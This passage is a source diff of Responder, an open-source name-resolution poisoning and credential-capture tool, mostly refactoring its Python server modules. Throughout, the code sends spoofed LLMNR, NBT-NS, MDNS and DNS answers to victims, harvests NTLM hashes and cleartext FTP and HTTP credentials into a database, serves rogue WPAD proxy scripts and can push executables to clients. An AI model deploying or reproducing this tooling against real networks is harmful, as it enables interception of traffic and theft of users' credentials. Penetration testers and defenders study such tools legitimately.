CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
##### Workstation Offset Calculation:
|
||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
|
||||
##### Target Offset Calculation:
|
||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
|
||||
##### IvPair Calculation:
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||
|
||||
class SMB2Session2Data(Packet):
|
||||
fields = OrderedDict([
|
||||
("Len", "\x09\x00"),
|
||||
("SessionFlag", "\x00\x00"),
|
||||
("SecBlobOffSet", "\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,28 +14,18 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import struct
|
||||
import settings
|
||||
import fingerprint
|
||||
|
||||
from packets import LLMNR_Ans
|
||||
from odict import OrderedDict
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
|
||||
|
||||
def Parse_LLMNR_Name(data):
|
||||
NameLen = struct.unpack('>B',data[12])[0]
|
||||
Name = data[13:13+NameLen]
|
||||
return Name
|
||||
return data[13:13+NameLen]
|
||||
|
||||
def IsOnTheSameSubnet(ip, net):
|
||||
net = net+'/24'
|
||||
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||
netstr, bits = net.split('/')
|
||||
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||
return (ipaddr & mask) == (netaddr & mask)
|
||||
|
||||
def IsICMPRedirectPlausible(IP):
|
||||
dnsip = []
|
||||
@@ -43,22 +33,19 @@ def IsICMPRedirectPlausible(IP):
|
||||
ip = line.split()
|
||||
if len(ip) < 2:
|
||||
continue
|
||||
if ip[0] == 'nameserver':
|
||||
elif ip[0] == 'nameserver':
|
||||
dnsip.extend(ip[1:])
|
||||
for x in dnsip:
|
||||
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
|
||||
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
|
||||
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
|
||||
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
|
||||
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
|
||||
else:
|
||||
pass
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
IsICMPRedirectPlausible(settings.Config.Bind_To)
|
||||
|
||||
# LLMNR Server class
|
||||
class LLMNR(BaseRequestHandler):
|
||||
|
||||
class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
def handle(self):
|
||||
data, soc = self.request
|
||||
Name = Parse_LLMNR_Name(data)
|
||||
@@ -68,24 +55,18 @@ class LLMNR(BaseRequestHandler):
|
||||
return None
|
||||
|
||||
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
|
||||
|
||||
Finger = None
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
|
||||
else:
|
||||
Finger = None
|
||||
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
LineHeader = "[Analyze mode: LLMNR]"
|
||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
else: # Poisoning Mode
|
||||
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
||||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), self.client_address)
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
|
||||
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
|
||||
if Finger is not None:
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -15,8 +15,6 @@
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
import settings
|
||||
import socket
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MDNS_Ans
|
||||
@@ -33,15 +31,13 @@ def Parse_MDNS_Name(data):
|
||||
except IndexError:
|
||||
return None
|
||||
|
||||
|
||||
def Poisoned_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
Name = data[:len(data)-5]
|
||||
return Name
|
||||
return data[:len(data)-5]
|
||||
|
||||
class MDNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
MADDR = "224.0.0.251"
|
||||
MPORT = 5353
|
||||
|
||||
@@ -52,22 +48,15 @@ class MDNS(BaseRequestHandler):
|
||||
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
|
||||
return None
|
||||
|
||||
try:
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
if Parse_IPV6_Addr(data):
|
||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
if Parse_IPV6_Addr(data):
|
||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
||||
else: # Poisoning Mode
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
|
||||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||
|
||||
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
|
||||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,8 +14,6 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import settings
|
||||
import fingerprint
|
||||
|
||||
from packets import NBT_Ans
|
||||
@@ -26,20 +24,15 @@ from utils import *
|
||||
def Validate_NBT_NS(data):
|
||||
if settings.Config.AnalyzeMode:
|
||||
return False
|
||||
|
||||
if NBT_NS_Role(data[43:46]) == "File Server":
|
||||
elif NBT_NS_Role(data[43:46]) == "File Server":
|
||||
return True
|
||||
|
||||
if settings.Config.NBTNSDomain == True:
|
||||
elif settings.Config.NBTNSDomain:
|
||||
if NBT_NS_Role(data[43:46]) == "Domain Controller":
|
||||
return True
|
||||
|
||||
if settings.Config.Wredirect == True:
|
||||
elif settings.Config.Wredirect:
|
||||
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
|
||||
return True
|
||||
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
# NBT_NS Server class.
|
||||
class NBTNS(BaseRequestHandler):
|
||||
@@ -54,19 +47,14 @@ class NBTNS(BaseRequestHandler):
|
||||
return None
|
||||
|
||||
if data[2:4] == "\x01\x10":
|
||||
|
||||
Finger = None
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
|
||||
else:
|
||||
Finger = None
|
||||
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
LineHeader = "[Analyze mode: NBT-NS]"
|
||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
else: # Poisoning Mode
|
||||
Buffer = NBT_Ans()
|
||||
Buffer.calculate(data)
|
||||
socket.sendto(str(Buffer), self.client_address)
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,30 +14,30 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
import struct
|
||||
|
||||
|
||||
def WorkstationFingerPrint(data):
|
||||
Role = {
|
||||
return {
|
||||
"\x04\x00" :"Windows 95",
|
||||
"\x04\x10" :"Windows 98",
|
||||
"\x04\x90" :"Windows ME",
|
||||
"\x05\x00" :"Windows 2000",
|
||||
"\x05\x00" :"Windows XP",
|
||||
"\x05\x02" :"Windows 2003",
|
||||
"\x05\x01" :"Windows XP",
|
||||
"\x05\x02" :"Windows XP(64-Bit)/Windows 2003",
|
||||
"\x06\x00" :"Windows Vista/Server 2008",
|
||||
"\x06\x01" :"Windows 7/Server 2008R2",
|
||||
}
|
||||
"\x06\x02" :"Windows 8/Server 2012",
|
||||
"\x06\x03" :"Windows 8.1/Server 2012R2",
|
||||
"\x10\x00" :"Windows 10/Server 2016",
|
||||
}.get(data, 'Unknown')
|
||||
|
||||
return Role[data] if data in Role else "Unknown"
|
||||
|
||||
def RequestType(data):
|
||||
Type = {
|
||||
return {
|
||||
"\x01": 'Host Announcement',
|
||||
"\x02": 'Request Announcement',
|
||||
"\x08": 'Browser Election',
|
||||
@@ -48,30 +48,23 @@ def RequestType(data):
|
||||
"\x0d": 'Master Announcement',
|
||||
"\x0e": 'Reset Browser State Announcement',
|
||||
"\x0f": 'Local Master Announcement',
|
||||
}
|
||||
}.get(data, 'Unknown')
|
||||
|
||||
return Type[data] if data in Type else "Unknown"
|
||||
|
||||
def PrintServerName(data, entries):
|
||||
if entries > 0:
|
||||
if entries <= 0:
|
||||
return None
|
||||
entrieslen = 26 * entries
|
||||
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
|
||||
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
|
||||
|
||||
entrieslen = 26*entries
|
||||
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
|
||||
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
|
||||
l = []
|
||||
for x in ServerName:
|
||||
fingerprint = WorkstationFingerPrint(x[16:18])
|
||||
name = x[:16].replace('\x00', '')
|
||||
l.append('%s (%s)' % (name, fingerprint))
|
||||
return l
|
||||
|
||||
l = []
|
||||
for x in ServerName:
|
||||
FP = WorkstationFingerPrint(x[16:18])
|
||||
Name = x[:16].replace('\x00', '')
|
||||
|
||||
if FP:
|
||||
l.append(Name + ' (%s)' % FP)
|
||||
else:
|
||||
l.append(Name)
|
||||
|
||||
return l
|
||||
|
||||
return None
|
||||
|
||||
def ParsePacket(Payload):
|
||||
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
|
||||
@@ -80,9 +73,8 @@ def ParsePacket(Payload):
|
||||
if StatusCode == "\x00\x00":
|
||||
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
|
||||
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
|
||||
return None
|
||||
|
||||
else:
|
||||
return None
|
||||
|
||||
def RAPThisDomain(Client,Domain):
|
||||
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
||||
@@ -97,6 +89,7 @@ def RAPThisDomain(Client,Domain):
|
||||
if WKST is not None:
|
||||
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
|
||||
|
||||
|
||||
def RapFinger(Host, Domain, Type):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
@@ -198,8 +191,7 @@ class Browser(BaseRequestHandler):
|
||||
if settings.Config.AnalyzeMode:
|
||||
ParseDatagramNBTNames(request,self.client_address[0])
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
pass
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,8 +14,6 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re
|
||||
|
||||
from packets import DNS_Ans
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
@@ -24,13 +22,12 @@ def ParseDNSType(data):
|
||||
QueryTypeClass = data[len(data)-4:]
|
||||
|
||||
# If Type A, Class IN, then answer.
|
||||
return True if QueryTypeClass == "\x00\x01\x00\x01" else False
|
||||
return QueryTypeClass == "\x00\x01\x00\x01"
|
||||
|
||||
|
||||
|
||||
# DNS Server class
|
||||
class DNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisIP(self.client_address[0]) is not True:
|
||||
return None
|
||||
@@ -43,7 +40,7 @@ class DNS(BaseRequestHandler):
|
||||
buff.calculate(data)
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
|
||||
|
||||
except Exception:
|
||||
@@ -51,9 +48,7 @@ class DNS(BaseRequestHandler):
|
||||
|
||||
# DNS Server TCP Class
|
||||
class DNSTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisIP(self.client_address[0]) is not True:
|
||||
return None
|
||||
@@ -61,7 +56,7 @@ class DNSTCP(BaseRequestHandler):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(data)
|
||||
self.request.send(str(buff))
|
||||
@@ -70,4 +65,4 @@ class DNSTCP(BaseRequestHandler):
|
||||
print color("[*] [DNS-TCP] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
pass
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,9 +14,6 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import FTPPacket
|
||||
@@ -47,7 +44,7 @@ class FTP(BaseRequestHandler):
|
||||
'client': self.client_address[0],
|
||||
'user': User,
|
||||
'cleartext': Pass,
|
||||
'fullhash': User+':'+Pass
|
||||
'fullhash': User + ':' + Pass
|
||||
})
|
||||
|
||||
else:
|
||||
@@ -56,4 +53,4 @@ class FTP(BaseRequestHandler):
|
||||
data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
pass
|
||||
pass
|
||||
|
||||
177
servers/HTTP.py
177
servers/HTTP.py
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env python
|
||||
# This file is part of Responder
|
||||
# Original work by Laurent Gaffie - Trustwave Holdings
|
||||
#
|
||||
# This file is part of Responder, a network take-over set of tools
|
||||
# created and maintained by Laurent Gaffie.
|
||||
# email: laurent.gaffie@gmail.com
|
||||
# This program is free software: you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation, either version 3 of the License, or
|
||||
@@ -14,21 +14,18 @@
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
|
||||
from base64 import b64decode, b64encode
|
||||
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||
from base64 import b64decode
|
||||
from utils import *
|
||||
|
||||
from packets import NTLM_Challenge
|
||||
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans
|
||||
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
|
||||
from packets import WPADScript, ServeExeFile, ServeHtmlFile
|
||||
|
||||
|
||||
# Parse NTLMv1/v2 hash.
|
||||
def ParseHTTPHash(data, client):
|
||||
def ParseHTTPHash(data, client, module):
|
||||
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
@@ -46,9 +43,8 @@ def ParseHTTPHash(data, client):
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, settings.Config.NumChal)
|
||||
|
||||
SaveToDb({
|
||||
'module': 'HTTP',
|
||||
'module': module,
|
||||
'type': 'NTLMv1',
|
||||
'client': client,
|
||||
'host': HostName,
|
||||
@@ -66,53 +62,90 @@ def ParseHTTPHash(data, client):
|
||||
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, settings.Config.NumChal, NTHash[:32], NTHash[32:])
|
||||
|
||||
|
||||
SaveToDb({
|
||||
'module': 'HTTP',
|
||||
'module': module,
|
||||
'type': 'NTLMv2',
|
||||
'client': client,
|
||||
'host': HostName,
|
||||
'user': Domain+'\\'+User,
|
||||
'hash': NTHash[:32]+":"+NTHash[32:],
|
||||
'user': Domain + '\\' + User,
|
||||
'hash': NTHash[:32] + ":" + NTHash[32:],
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
def GrabCookie(data, host):
|
||||
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
|
||||
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Cookie:
|
||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||
if len(Cookie) > 1 and settings.Config.Verbose:
|
||||
print text("[HTTP] Cookie : %s " % Cookie)
|
||||
return Cookie
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def GrabHost(data, host):
|
||||
Host = re.search('(Host:*.\=*)[^\r\n]*', data)
|
||||
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Host:
|
||||
Host = Host.group(0).replace('Host: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Host : %s " % color(Host, 3))
|
||||
return Host
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def GrabReferer(data, host):
|
||||
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Referer:
|
||||
Referer = Referer.group(0).replace('Referer: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Referer : %s " % color(Referer, 3))
|
||||
return Referer
|
||||
return False
|
||||
|
||||
def SpotFirefox(data):
|
||||
UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
|
||||
if UserAgent:
|
||||
print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2))
|
||||
IsFirefox = re.search('Firefox', UserAgent[0])
|
||||
if IsFirefox:
|
||||
print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)
|
||||
print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def WpadCustom(data, client):
|
||||
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad:
|
||||
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad and SpotFirefox(data):
|
||||
Buffer = WPADScript(Payload="function FindProxyForURL(url, host){return 'DIRECT';}")
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
if Wpad and SpotFirefox(data) == False:
|
||||
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def IsWebDAV(data):
|
||||
dav = re.search('PROPFIND', data)
|
||||
if dav:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def ServeOPTIONS(data):
|
||||
WebDav= re.search('OPTIONS', data)
|
||||
if WebDav:
|
||||
Buffer = WEBDAV_Options_Answer()
|
||||
return str(Buffer)
|
||||
|
||||
return False
|
||||
|
||||
def ServeFile(Filename):
|
||||
with open (Filename, "rb") as bk:
|
||||
data = bk.read()
|
||||
bk.close()
|
||||
return data
|
||||
return bk.read()
|
||||
|
||||
def RespondWithFile(client, filename, dlname=None):
|
||||
|
||||
@@ -123,42 +156,45 @@ def RespondWithFile(client, filename, dlname=None):
|
||||
|
||||
Buffer.calculate()
|
||||
print text("[HTTP] Sending file %s to %s" % (filename, client))
|
||||
|
||||
return str(Buffer)
|
||||
|
||||
def GrabURL(data, host):
|
||||
GET = re.findall('(?<=GET )[^HTTP]*', data)
|
||||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
||||
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
||||
GET = re.findall(r'(?<=GET )[^HTTP]*', data)
|
||||
POST = re.findall(r'(?<=POST )[^HTTP]*', data)
|
||||
POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
|
||||
|
||||
if GET and settings.Config.Verbose:
|
||||
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
|
||||
|
||||
if POST and settings.Config.Verbose:
|
||||
print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
|
||||
|
||||
if len(''.join(POSTDATA)) > 2:
|
||||
print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
|
||||
|
||||
# Handle HTTP packet sequence.
|
||||
def PacketSequence(data, client):
|
||||
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||
|
||||
# Serve the .exe if needed
|
||||
if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)):
|
||||
if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)):
|
||||
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
|
||||
|
||||
# Serve the custom HTML if needed
|
||||
if settings.Config.Serve_Html == True:
|
||||
if settings.Config.Serve_Html:
|
||||
return RespondWithFile(client, settings.Config.Html_Filename)
|
||||
|
||||
WPAD_Custom = WpadCustom(data, client)
|
||||
|
||||
# Webdav
|
||||
